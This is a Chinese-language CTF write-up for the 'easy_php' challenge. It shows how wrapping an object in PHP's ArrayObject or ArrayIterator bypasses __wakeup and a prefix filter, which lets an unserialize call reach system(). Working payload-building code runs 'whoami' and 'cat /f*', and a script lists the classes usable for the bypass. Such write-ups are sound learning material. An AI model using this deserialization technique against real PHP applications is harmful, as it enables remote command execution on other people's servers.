April 2, 2023

愚人杯3rd [easy_php]

Web题里没啥好讲的,唯一一题就是个小0day,就记录这一题
比较崭新的考点,其实也不是0day了。。。就是个新trick罢了

easy_php

考点:PHP7.3 __wakeup绕过,ArrayObject内置类
众所周知可以使用C进行绕过wakeup,但这样有一个缺点,就是你把O改为C后是没办法有属性的,那假如需要用属性命令执行就不行了QWQ
这种情况我们可以用内置类ArrayObject,这个内置类序列化结果如下

1
2
3
$arr=array("a"=>1,"b"=>2);
$ao=new ArrayObject($arr);
echo serialize($ao);

image.png
可以看到是C开头的,既然是C开头的,假如我们遇到了这样的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}


?>

这个题目很明显就是要执行system方法,然后不可以以O\a打头,假如不ban掉a的话,我们可以在a数组里面放上我们的恶意对象,也可以反序列化,但是这里都去掉了,所以回到上面说的那个ArrayObject,他是C开头的,并且可以绕过O,然后还可以带属性反序列化,符合条件,因此可以构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class ctfshow {
public $ctfshow;

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
echo "OK";
system($this->ctfshow);
}


}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
//unserialize($res)
?>

image.png

赛后思考

还有什么其他的方法可以绕过吗?我们可以通过如下脚本找一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$classes = get_declared_classes();foreach ($classes as $class) {

$methods = get_class_methods($class);

foreach ($methods as $method) {

if (in_array($method, array(

'unserialize',

))) {

print $class . '::' . $method . "\n";

}

}}

image.png
结果如下,注意到了还有ArrayIterator,实现了unserialize接口的大概率是C打头,因此在这几个类中寻找!
测试发现ArrayIterrator是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-24 10:16:33
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-25 00:25:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

//error_reporting(0);

class ctfshow {
public $ctfshow;

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
echo "OK";
system($this->ctfshow);
}


}
$a=new ctfshow;
$a->ctfshow="cat /f*";
$arr=array("evil"=>$a);
$oa=new ArrayIterator($arr);
$res=serialize($oa);
echo $res;
//unserialize($res)
?>

image.pngimage.png

总结

经过所有测试发现可以用的类为:

其中SplObjectStorage需要注意一下:
image.png
利用情况是可以自己给他加上一条

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#CTFSHOW